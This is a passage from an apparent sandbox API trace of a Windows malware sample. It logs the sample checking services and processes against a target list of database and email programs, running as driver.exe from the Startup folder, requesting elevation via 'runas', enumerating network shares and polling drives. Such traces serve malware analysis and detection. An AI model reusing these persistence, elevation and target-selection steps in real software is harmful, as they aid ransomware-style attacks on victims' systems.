(lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0272.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0272.150] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0272.150] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0272.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0272.151] lstrlenW (lpString="WdiServiceHost") returned 14 [0272.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0272.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0272.151] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0272.152] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0272.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0272.152] lstrlenW (lpString="WdiSystemHost") returned 13 [0272.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0272.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0272.152] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0272.152] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0272.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0272.152] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0272.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0272.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0272.153] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0272.153] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0272.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0272.153] lstrlenW (lpString="Winmgmt") returned 7 [0272.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0272.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0272.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0272.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0272.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0272.153] lstrlenW (lpString="WPDBusEnum") returned 10 [0272.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0272.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0272.154] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0272.154] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0272.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0272.154] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41a2db8 | out: hHeap=0x880000) returned 1 [0272.154] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c [0272.160] Process32FirstW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.161] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.162] lstrlenW (lpString="System") returned 6 [0272.162] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0272.162] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0272.162] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0272.162] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0272.162] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0272.162] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0272.162] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0272.162] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.164] lstrlenW (lpString="smss.exe") returned 8 [0272.164] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0272.164] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0272.164] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0272.164] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0272.164] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0272.164] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0272.164] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0272.164] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.166] lstrlenW (lpString="csrss.exe") returned 9 [0272.484] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.484] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.484] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0272.485] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.486] lstrlenW (lpString="wininit.exe") returned 11 [0272.486] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0272.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0272.486] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0272.486] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0272.486] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0272.486] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0272.486] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0272.487] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.488] lstrlenW (lpString="csrss.exe") returned 9 [0272.488] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.488] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.488] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.488] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.488] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.488] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.488] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.489] lstrlenW (lpString="winlogon.exe") returned 12 [0272.490] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.491] lstrlenW (lpString="services.exe") returned 12 [0272.491] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.492] lstrlenW (lpString="lsass.exe") returned 9 [0272.492] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0272.495] lstrlenW (lpString="lsm.exe") returned 7 [0272.495] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.496] lstrlenW (lpString="svchost.exe") returned 11 [0272.496] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.497] lstrlenW (lpString="svchost.exe") returned 11 [0272.498] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.499] lstrlenW (lpString="svchost.exe") returned 11 [0272.499] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.500] lstrlenW (lpString="svchost.exe") returned 11 [0272.500] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.501] lstrlenW (lpString="svchost.exe") returned 11 [0272.501] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.502] lstrlenW (lpString="audiodg.exe") returned 11 [0272.502] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.504] lstrlenW (lpString="svchost.exe") returned 11 [0272.504] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.505] lstrlenW (lpString="explorer.exe") returned 12 [0272.505] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.506] lstrlenW (lpString="dwm.exe") returned 7 [0272.506] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.507] lstrlenW (lpString="svchost.exe") returned 11 [0272.508] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0272.509] lstrlenW (lpString="driver.exe") returned 10 [0272.509] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.510] lstrlenW (lpString="spoolsv.exe") returned 11 [0272.510] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.512] lstrlenW (lpString="taskhost.exe") returned 12 [0272.512] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.513] lstrlenW (lpString="svchost.exe") returned 11 [0272.513] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0272.514] lstrlenW (lpString="reader_sl.exe") returned 13 [0272.514] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.515] lstrlenW (lpString="taskhost.exe") returned 12 [0272.515] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.516] lstrlenW (lpString="dllhost.exe") returned 11 [0272.517] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0272.518] lstrlenW (lpString="consent.exe") returned 11 [0272.518] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.519] lstrlenW (lpString="dllhost.exe") returned 11 [0272.519] Process32NextW (in: hSnapshot=0x39c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0272.520] CloseHandle (hObject=0x39c) returned 1 [0272.520] Sleep (dwMilliseconds=0x1f4) Thread: id = 60 os_tid = 0x5f0 [0188.453] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8fe970 [0188.453] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8dc2f0 [0188.453] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8fe9b8 [0188.453] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9b8, Size=0x20) returned 0x8b5c38 [0188.453] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8fe9b8 [0188.453] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9b8, Size=0x20) returned 0x8b5c60 [0188.454] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0188.454] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0188.454] Wow64DisableWow64FsRedirection (in: OldValue=0x224ff28 | out: OldValue=0x224ff28*=0x0) returned 1 [0188.454] lstrlenW (lpString="kernel32.dll") returned 12 [0188.454] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5c38 | out: hHeap=0x880000) returned 1 [0188.454] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0188.454] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5c60 | out: hHeap=0x880000) returned 1 [0188.455] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8dc2f0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe")) returned 0x66 [0188.455] ShellExecuteExW (pExecInfo=0x224ff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 61 os_tid = 0x5f4 [0188.511] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8fe9d0 [0188.511] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fe9d0, Size=0x20) returned 0x8b5c60 [0188.511] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5c60, Size=0x40) returned 0x8b6dc8 [0188.511] GetLogicalDrives () returned 0x4 [0188.511] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8fefa8 [0188.513] GetComputerNameW (in: lpBuffer=0x8fefac, nSize=0x234ff6c | out: lpBuffer="XDUWTFONO", nSize=0x234ff6c) returned 1 [0188.515] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x90efb0 [0188.515] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x234ff3c | out: lphEnum=0x234ff3c*=0x8b62d8) returned 0x0 [0188.516] WNetEnumResourceW (in: hEnum=0x8b62d8, lpcCount=0x234ff38, lpBuffer=0x90efb0, lpBufferSize=0x234ff40 | out: lpcCount=0x234ff38, lpBuffer=0x90efb0, lpBufferSize=0x234ff40) returned 0x103 [0188.516] WNetCloseEnum (hEnum=0x8b62d8) returned 0x0 [0188.516] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x234ff3c | out: lphEnum=0x234ff3c*=0x8fd248) returned 0x0 [0193.008] WNetEnumResourceW (in: hEnum=0x8fd248, lpcCount=0x234ff38, lpBuffer=0x90efb0, lpBufferSize=0x234ff40 | out: lpcCount=0x234ff38, lpBuffer=0x90efb0, lpBufferSize=0x234ff40) returned 0x0 [0193.008] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x8f4d80 [0193.008] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x90efb0, lphEnum=0x234ff10 | out: lphEnum=0x234ff10*=0x8b6718) returned 0x0 [0193.566] WNetEnumResourceW (in: hEnum=0x8b6718, lpcCount=0x234ff0c, lpBuffer=0x8f4d80, lpBufferSize=0x234ff14 | out: lpcCount=0x234ff0c, lpBuffer=0x8f4d80, lpBufferSize=0x234ff14) returned 0x103 [0193.566] WNetCloseEnum (hEnum=0x8b6718) returned 0x0 [0193.566] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x8d46a0 [0193.567] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x90efd0, lphEnum=0x234ff10 | out: lphEnum=0x234ff10*=0x0) returned 0x4c6 [0193.778] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1000) returned 0x9737a8 [0193.778] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x90eff0, lphEnum=0x234ff10 | out: lphEnum=0x234ff10*=0x0) returned 0x4c6 [0193.779] WNetEnumResourceW (in: hEnum=0x8fd248, lpcCount=0x234ff38, lpBuffer=0x90efb0, lpBufferSize=0x234ff40 | out: lpcCount=0x234ff38, lpBuffer=0x90efb0, lpBufferSize=0x234ff40) returned 0x103 [0193.779] WNetCloseEnum (hEnum=0x8fd248) returned 0x0 [0193.779] GetLogicalDrives () returned 0x4 [0193.780] Sleep (dwMilliseconds=0x64) [0194.758] GetLogicalDrives () returned 0x4 [0194.758] Sleep (dwMilliseconds=0x64) [0195.075] GetLogicalDrives () returned 0x4 [0195.075] Sleep (dwMilliseconds=0x64) [0196.292] GetLogicalDrives () returned 0x4 [0196.292] Sleep (dwMilliseconds=0x64) [0196.866] GetLogicalDrives () returned 0x4 [0196.866] Sleep (dwMilliseconds=0x64) [0198.093] GetLogicalDrives () returned 0x4 [0198.093] Sleep (dwMilliseconds=0x64) [0198.766] GetLogicalDrives () returned 0x4 [0198.766] Sleep (dwMilliseconds=0x64) [0199.426] GetLogicalDrives () returned 0x4 [0199.427] Sleep (dwMilliseconds=0x64) [0200.573] GetLogicalDrives () returned 0x4 [0200.574] Sleep (dwMilliseconds=0x64) [0201.129] GetLogicalDrives () returned 0x4 [0201.129] Sleep (dwMilliseconds=0x64) [0201.698] GetLogicalDrives () returned 0x4 [0201.698] Sleep (dwMilliseconds=0x64) [0202.012] GetLogicalDrives () returned 0x4 [0202.012] Sleep (dwMilliseconds=0x64) [0202.473] GetLogicalDrives () returned 0x4 [0202.473] Sleep (dwMilliseconds=0x64) [0202.916] GetLogicalDrives () returned 0x4 [0202.916] Sleep (dwMilliseconds=0x64) [0203.459] GetLogicalDrives () returned 0x4 [0203.459] Sleep (dwMilliseconds=0x64) [0203.671] GetLogicalDrives () returned 0x4 [0203.671] Sleep (dwMilliseconds=0x64) [0204.013] GetLogicalDrives () returned 0x4 [0204.013] Sleep (dwMilliseconds=0x64) [0205.569] GetLogicalDrives () returned 0x4 [0205.569] Sleep (dwMilliseconds=0x64) [0206.461] GetLogicalDrives () returned 0x4 [0206.462] Sleep (dwMilliseconds=0x64) [0206.851] GetLogicalDrives () returned 0x4 [0206.851] Sleep (dwMilliseconds=0x64) [0207.221] GetLogicalDrives () returned 0x4 [0207.221] Sleep (dwMilliseconds=0x64) [0207.558] GetLogicalDrives () returned 0x4 [0207.558] Sleep (dwMilliseconds=0x64) [0208.054] GetLogicalDrives () returned 0x4 [0208.054] Sleep (dwMilliseconds=0x64) [0208.760] GetLogicalDrives () returned 0x4 [0208.760] Sleep (dwMilliseconds=0x64) [0209.605] GetLogicalDrives () returned 0x4 [0209.605] Sleep (dwMilliseconds=0x64) [0210.298] GetLogicalDrives () returned 0x4 [0210.298] Sleep (dwMilliseconds=0x64) [0210.876] GetLogicalDrives () returned 0x4 [0210.876] Sleep (dwMilliseconds=0x64) [0211.130] GetLogicalDrives () returned 0x4 [0211.130] Sleep (dwMilliseconds=0x64) [0211.516] GetLogicalDrives () returned 0x4 [0211.516] Sleep (dwMilliseconds=0x64) [0211.827] GetLogicalDrives () returned 0x4 [0211.827] Sleep (dwMilliseconds=0x64) [0212.288] GetLogicalDrives () returned 0x4 [0212.288] Sleep (dwMilliseconds=0x64) [0212.682] GetLogicalDrives () returned 0x4 [0212.682] Sleep (dwMilliseconds=0x64) [0212.936] GetLogicalDrives () returned 0x4 [0212.936] Sleep (dwMilliseconds=0x64) [0213.186] GetLogicalDrives () returned 0x4 [0213.186] Sleep (dwMilliseconds=0x64) [0213.407] GetLogicalDrives () returned 0x4 [0213.407] Sleep (dwMilliseconds=0x64) [0213.616] GetLogicalDrives () returned 0x4 [0213.617] Sleep (dwMilliseconds=0x64) [0214.316] GetLogicalDrives () returned 0x4 [0214.316] Sleep (dwMilliseconds=0x64) [0214.936] GetLogicalDrives () returned 0x4 [0214.937] Sleep (dwMilliseconds=0x64) [0215.428] GetLogicalDrives () returned 0x4 [0215.428] Sleep (dwMilliseconds=0x64) [0215.872] GetLogicalDrives () returned 0x4 [0215.873] Sleep (dwMilliseconds=0x64) [0216.377] GetLogicalDrives () returned 0x4 [0216.377] Sleep (dwMilliseconds=0x64) [0216.803] GetLogicalDrives () returned 0x4 [0216.804] Sleep (dwMilliseconds=0x64) [0217.271] GetLogicalDrives () returned 0x4 [0217.272] Sleep (dwMilliseconds=0x64) [0217.564] GetLogicalDrives () returned 0x4 [0217.564] Sleep (dwMilliseconds=0x64) [0217.945] GetLogicalDrives () returned 0x4 [0217.946] Sleep (dwMilliseconds=0x64) [0218.392] GetLogicalDrives () returned 0x4 [0218.392] Sleep (dwMilliseconds=0x64) [0218.839] GetLogicalDrives () returned 0x4 [0218.839] Sleep (dwMilliseconds=0x64) [0219.199] GetLogicalDrives () returned 0x4 [0219.199] Sleep (dwMilliseconds=0x64) [0219.653] GetLogicalDrives () returned 0x4 [0219.653] Sleep (dwMilliseconds=0x64) [0220.025] GetLogicalDrives () returned 0x4 [0220.025] Sleep (dwMilliseconds=0x64) [0220.323] GetLogicalDrives () returned 0x4 [0220.323] Sleep (dwMilliseconds=0x64) [0220.502] GetLogicalDrives () returned 0x4 [0220.502] Sleep (dwMilliseconds=0x64) [0220.738] GetLogicalDrives () returned 0x4 [0220.738] Sleep (dwMilliseconds=0x64) [0221.280] GetLogicalDrives () returned 0x4 [0221.280] Sleep (dwMilliseconds=0x64) [0221.682] GetLogicalDrives () returned 0x4 [0221.682] Sleep (dwMilliseconds=0x64) [0221.968] GetLogicalDrives () returned 0x4 [0221.968] Sleep 